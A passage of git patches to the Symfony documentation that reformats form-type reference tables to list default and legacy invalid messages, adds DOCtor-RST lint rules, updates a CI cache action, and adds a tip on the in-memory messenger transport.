-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `input`_                                                             |
+|                           | - `intl`_                                                              |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                           |
+|                           | - `choice_translation_domain`_                                         |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
+|                           |                                                                        |
+|                           | - `expanded`_                                                          |
+|                           | - `multiple`_                                                          |
+|                           | - `placeholder`_                                                       |
+|                           | - `preferred_choices`_                                                 |
+|                           | - `trim`_                                                              |
+|                           |                                                                        |
+|                           | from the :doc:`FormType </reference/forms/types/form>`                 |
+|                           |                                                                        |
+|                           | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `error_mapping`_                                                     |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid timezone.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -107,6 +112,8 @@ The Timezone type defaults the choices to all timezones returned by
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a03f1532021..e5f782ce088 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -8,32 +8,38 @@ The ``UrlType`` field is a text field that prepends the submitted value with
 a given protocol (e.g. ``http://``) if the submitted value doesn't already
 have a protocol.
 
-+-------------+-------------------------------------------------------------------+
-| Rendered as | ``input url`` field                                               |
-+-------------+-------------------------------------------------------------------+
-| Options     | - `default_protocol`_                                             |
-+-------------+-------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                         |
-| options     | - `data`_                                                         |
-|             | - `disabled`_                                                     |
-|             | - `empty_data`_                                                   |
-|             | - `error_bubbling`_                                               |
-|             | - `error_mapping`_                                                |
-|             | - `help`_                                                         |
-|             | - `help_attr`_                                                    |
-|             | - `help_html`_                                                    |
-|             | - `label`_                                                        |
-|             | - `label_attr`_                                                   |
-|             | - `label_format`_                                                 |
-|             | - `mapped`_                                                       |
-|             | - `required`_                                                     |
-|             | - `row_attr`_                                                     |
-|             | - `trim`_                                                         |
-+-------------+-------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                     |
-+-------------+-------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
-+-------------+-------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------+
+| Rendered as               | ``input url`` field                                               |
++---------------------------+-------------------------------------------------------------------+
+| Options                   | - `default_protocol`_                                             |
++---------------------------+-------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                              |
++---------------------------+-------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                         |
+|                           | - `data`_                                                         |
+|                           | - `disabled`_                                                     |
+|                           | - `empty_data`_                                                   |
+|                           | - `error_bubbling`_                                               |
+|                           | - `error_mapping`_                                                |
+|                           | - `help`_                                                         |
+|                           | - `help_attr`_                                                    |
+|                           | - `help_html`_                                                    |
+|                           | - `label`_                                                        |
+|                           | - `label_attr`_                                                   |
+|                           | - `label_format`_                                                 |
+|                           | - `mapped`_                                                       |
+|                           | - `required`_                                                     |
+|                           | - `row_attr`_                                                     |
+|                           | - `trim`_                                                         |
++---------------------------+-------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid URL.                                         |
++---------------------------+-------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                               |
++---------------------------+-------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
++---------------------------+-------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
++---------------------------+-------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -49,6 +55,11 @@ If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 6967df09bb7..eb526c160af 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -10,39 +10,43 @@ This field type allows the user to modify data that represents a specific
 Can be rendered as a text input or select tags. The underlying format of
 the data can be a string or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be a string, or array (see the ``input`` option)                        |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box, two text boxes or two select fields                        |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `widget`_                                                                 |
-|                      | - `weeks`_                                                                  |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `compound`_                                                               |
-|                      | - `empty_data`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Underlying Data Type      | can be a string, or array (see the ``input`` option)               |
++---------------------------+--------------------------------------------------------------------+
+| Rendered as               | single text box, two text boxes or two select fields               |
++---------------------------+--------------------------------------------------------------------+
+| Options                   | - `choice_translation_domain`_                                     |
+|                           | - `placeholder`_                                                   |
+|                           | - `html5`_                                                         |
+|                           | - `input`_                                                         |
+|                           | - `widget`_                                                        |
+|                           | - `weeks`_                                                         |
+|                           | - `years`_                                                         |
++---------------------------+--------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                      |
+|                           | - `empty_data`_                                                    |
+|                           | - `error_bubbling`_                                                |
+|                           | - `invalid_message`_                                               |
++---------------------------+--------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                          |
+|                           | - `data`_                                                          |
+|                           | - `disabled`_                                                      |
+|                           | - `help`_                                                          |
+|                           | - `help_attr`_                                                     |
+|                           | - `help_html`_                                                     |
+|                           | - `inherit_data`_                                                  |
+|                           | - `invalid_message_parameters`_                                    |
+|                           | - `mapped`_                                                        |
+|                           | - `row_attr`_                                                      |
++---------------------------+--------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid week.                                         |
++---------------------------+--------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                |
++---------------------------+--------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -138,6 +142,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -157,8 +163,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc

From 3daed4a14bfeafe81b4af834778b3ff81b758dfe Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 09:02:29 +0100
Subject: [PATCH 1504/7107] Enhancement: New rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 52a1fc2ba4a..22269873776 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -20,6 +20,7 @@ rules:
     no_blank_line_after_filepath_in_yaml_code_block: ~
     no_brackets_in_method_directive: ~
     no_composer_req: ~
+    no_directive_after_shorthand: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~
     no_namespace_after_use_statements: ~

From 92477a8754a84b4518234bfdd28c5fbd793a0e81 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 09:13:15 +0100
Subject: [PATCH 1505/7107] Enhancement: Use actions/cache v2

cc @smoench
---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index dd7599889d0..881b171ce10 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -98,7 +98,7 @@ jobs:
                 id: extract_base_branch
 
             -   name: "Cache DOCtor-RST"
-                uses: actions/cache@v1
+                uses: actions/cache@v2
                 with:
                     path: .cache
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}

From ff816cadc7ef69791ae3cff961055824df2e5c4e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 09:45:20 +0100
Subject: [PATCH 1506/7107] Enhancement: New rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 22269873776..59971c508f4 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -6,6 +6,7 @@ rules:
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~

From 289ca7c128f4c413f75a0606cc54f9833130e5c1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 10:08:28 +0100
Subject: [PATCH 1507/7107] Fix: DOCtor-RST build

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 2fb102a0fcc..b46a3f7760d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1616,5 +1616,5 @@ Then configure Symfony to use your callback:
 .. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
-.. _`EventSource`:  https://www.w3.org/TR/eventsource/#eventsource
-.. _`idempotent method`:  https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
+.. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
+.. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications

From 12fff0cf5ec2a195709c5ac1ccbad8e04da6bef1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 20 Nov 2020 09:45:20 +0100
Subject: [PATCH 1508/7107] Enhancement: New rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 5c4fadeb132..94d88088d52 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -6,6 +6,7 @@ rules:
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~

From 26dfa839ad7242522a97968096403c5801852424 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Timoth=C3=A9e=20Barray?= <tim@amicalement-web.net>
Date: Fri, 20 Nov 2020 14:01:55 +0100
Subject: [PATCH 1509/7107] [Messenger] Add mention about serialize in inMemory
 transport dsn

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index ac07b40c624..e5a4da76cf9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1295,6 +1295,15 @@ during a request::
         :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
         or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
 
+.. tip::
+
+    Using ``in-memory://?serialize=true`` as dsn will perform message serialization as real asynchronous transport will do.
+    Useful to test an additional layer, especially when you use your own message serializer.
+
+.. versionadded:: 5.3
+
+    The ``in-memory://?serialize=true`` dsn was introduced in Symfony 5.3.
+
 Amazon SQS
 ~~~~~~~~~~
 

From 0ccfa6e913782c1788e08032ebfcf14968e72b96 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Nov 2020 15:55:35 +0100
Subject: [PATCH 1510/7107] Tweaks

---
 forms.rst                              | 8 +++-----
 reference/forms/types/birthday.rst     | 4 ++--
 reference/forms/types/checkbox.rst     | 4 ++--
 reference/forms/types/choice.rst       | 4 ++--
 reference/forms/types/collection.rst   | 4 ++--
 reference/forms/types/color.rst        | 4 ++--
 reference/forms/types/country.rst      | 4 ++--
 reference/forms/types/currency.rst     | 4 ++--
 reference/forms/types/date.rst         | 4 ++--
 reference/forms/types/dateinterval.rst | 4 ++--
 reference/forms/types/datetime.rst     | 4 ++--
 reference/forms/types/email.rst        | 4 ++--
 reference/forms/types/file.rst         | 4 ++--
 reference/forms/types/form.rst         | 4 ++--
 reference/forms/types/hidden.rst       | 4 ++--
 reference/forms/types/integer.rst      | 4 ++--
 reference/forms/types/language.rst     | 4 ++--
 reference/forms/types/locale.rst       | 4 ++--
 reference/forms/types/money.rst        | 4 ++--
 reference/forms/types/number.rst       | 4 ++--
 reference/forms/types/password.rst     | 4 ++--
 reference/forms/types/percent.rst      | 4 ++--
 reference/forms/types/radio.rst        | 4 ++--
 reference/forms/types/range.rst        | 4 ++--
 reference/forms/types/repeated.rst     | 4 ++--
 reference/forms/types/search.rst       | 4 ++--
 reference/forms/types/tel.rst          | 4 ++--
 reference/forms/types/time.rst         | 4 ++--
 reference/forms/types/timezone.rst     | 4 ++--
 reference/forms/types/url.rst          | 4 ++--
 reference/forms/types/week.rst         | 4 ++--
 31 files changed, 63 insertions(+), 65 deletions(-)

diff --git a/forms.rst b/forms.rst
index 6e2c9ec5120..8635b8fedbd 100644
--- a/forms.rst
+++ b/forms.rst
@@ -555,10 +555,9 @@ learn more about the validation constraints, please refer to the
 
 .. versionadded:: 5.2
 
-    Validation messages for forms have been rewritten to be more user-friendly.
-    These newer messages can be enabled by setting the `legacy_error_messages`
-    option to "false". Details about these messages can be found in the corresponding
-    form type documentation.
+    In Symfony 5.2, the form validation messages have been rewritten to be more
+    user-friendly. Set the ``legacy_error_messages`` option to ``false`` to
+    enable these new messages:
 
     .. configuration-block::
 
@@ -595,7 +594,6 @@ learn more about the validation constraints, please refer to the
                 ],
             ]);
 
-
 Other Common Form Features
 --------------------------
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 127528bc774..94cff698cb4 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -49,9 +49,9 @@ option defaults to 120 years ago to the current year.
 |                           | - `mapped`_                                                                   |
 |                           | - `row_attr`_                                                                 |
 +---------------------------+-------------------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid birthdate.                                               |
+| Default invalid message   | Please enter a valid birthdate.                                               |
 +---------------------------+-------------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                           |
+| Legacy invalid message    | The value {{ value }} is not valid.                                           |
 +---------------------------+-------------------------------------------------------------------------------+
 | Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
 +---------------------------+-------------------------------------------------------------------------------+
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index 1463c542a1e..d4fdd17580c 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -36,9 +36,9 @@ if you want to handle submitted values like "0" or "false").
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | The checkbox has an invalid value.                                     |
+| Default invalid message   | The checkbox has an invalid value.                                     |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index d0c81a829bd..affcce9ab54 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -52,9 +52,9 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 |                           | - `attr_translation_parameters`_                                     |
 |                           | - `help_translation_parameters`_                                     |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | The selected choice is invalid.                                      |
+| Default invalid message   | The selected choice is invalid.                                      |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index a30cc250f6f..9e1eb170933 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -40,9 +40,9 @@ photos).
 |                           | - `required`_                                                            |
 |                           | - `row_attr`_                                                            |
 +---------------------------+--------------------------------------------------------------------------+
-| Default `invalid_message` | The collection is invalid.                                               |
+| Default invalid message   | The collection is invalid.                                               |
 +---------------------------+--------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                      |
+| Legacy invalid message    | The value {{ value }} is not valid.                                      |
 +---------------------------+--------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
 +---------------------------+--------------------------------------------------------------------------+
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index f3d97c6cd1b..6bbc28da2a7 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -38,9 +38,9 @@ element.
 |                           | - `row_attr`_                                                       |
 |                           | - `trim`_                                                           |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid color.                                        |
+| Default invalid message   | Please select a valid color.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index a2b1527764e..10cf652947a 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -54,9 +54,9 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                         |
 |                           | - `row_attr`_                                                         |
 +---------------------------+-----------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid country.                                        |
+| Default invalid message   | Please select a valid country.                                        |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
 +---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
 +---------------------------+-----------------------------------------------------------------------+
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index e8628aa3edf..e28b39c328a 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -45,9 +45,9 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid currency.                                        |
+| Default invalid message   | Please select a valid currency.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index fa696007803..5a12ad24b9c 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -46,9 +46,9 @@ and can understand a number of different input formats via the `input`_ option.
 |                           | - `mapped`_                                                                 |
 |                           | - `row_attr`_                                                               |
 +---------------------------+-----------------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid date.                                                  |
+| Default invalid message   | Please enter a valid date.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 69147d95bee..5248ca88739 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -50,9 +50,9 @@ or an array (see `input`_).
 |                           | - `mapped`_                                                                      |
 |                           | - `row_attr`_                                                                    |
 +---------------------------+----------------------------------------------------------------------------------+
-| Default `invalid_message` | Please choose a valid date interval.                                             |
+| Default invalid message   | Please choose a valid date interval.                                             |
 +---------------------------+----------------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                              |
+| Legacy invalid message    | The value {{ value }} is not valid.                                              |
 +---------------------------+----------------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
 +---------------------------+----------------------------------------------------------------------------------+
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index ca61be3e538..e742048fd24 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -55,9 +55,9 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 |                           | - `mapped`_                                                                 |
 |                           | - `row_attr`_                                                               |
 +---------------------------+-----------------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid date and time.                                         |
+| Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 31d6f5db90b..3dfe77db44f 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -29,9 +29,9 @@ The ``EmailType`` field is a text field that is rendered using the HTML5
 |                           | - `row_attr`_                                                       |
 |                           | - `trim`_                                                           |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid email address.                                 |
+| Default invalid message   | Please enter a valid email address.                                 |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index f745c9bc1fd..50bc55fee88 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -30,9 +30,9 @@ The ``FileType`` represents a file input in your form.
 |                           | - `required`_                                                      |
 |                           | - `row_attr`_                                                      |
 +---------------------------+--------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid file.                                        |
+| Default invalid message   | Please select a valid file.                                        |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                |
+| Legacy invalid message    | The value {{ value }} is not valid.                                |
 +---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index e406413bf37..9e1a5d47227 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -48,9 +48,9 @@ on all types for which ``FormType`` is the parent.
 |                           | - `label_translation_parameters`_                                  |
 |                           | - `attr_translation_parameters`_                                   |
 +---------------------------+--------------------------------------------------------------------+
-| Default `invalid_message` | This value is not valid.                                           |
+| Default invalid message   | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy `invalid_message`  | This value is not valid.                                           |
+| Legacy invalid message    | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
 | Parent                    | none                                                               |
 +---------------------------+--------------------------------------------------------------------+
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index f0bddfa4260..00e858303bf 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -22,9 +22,9 @@ The hidden type represents a hidden input field.
 |                           | - `property_path`_                                                   |
 |                           | - `row_attr`_                                                        |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | The hidden field is invalid.                                         |
+| Default invalid message   | The hidden field is invalid.                                         |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 7eb32abf7f9..db774ec2ce9 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -39,9 +39,9 @@ integers. By default, all non-integer values (e.g. 6.78) will round down
 |                           | - `required`_                                                         |
 |                           | - `row_attr`_                                                         |
 +---------------------------+-----------------------------------------------------------------------+
-| Default `invalid_message` | Please enter an integer.                                              |
+| Default invalid message   | Please enter an integer.                                              |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
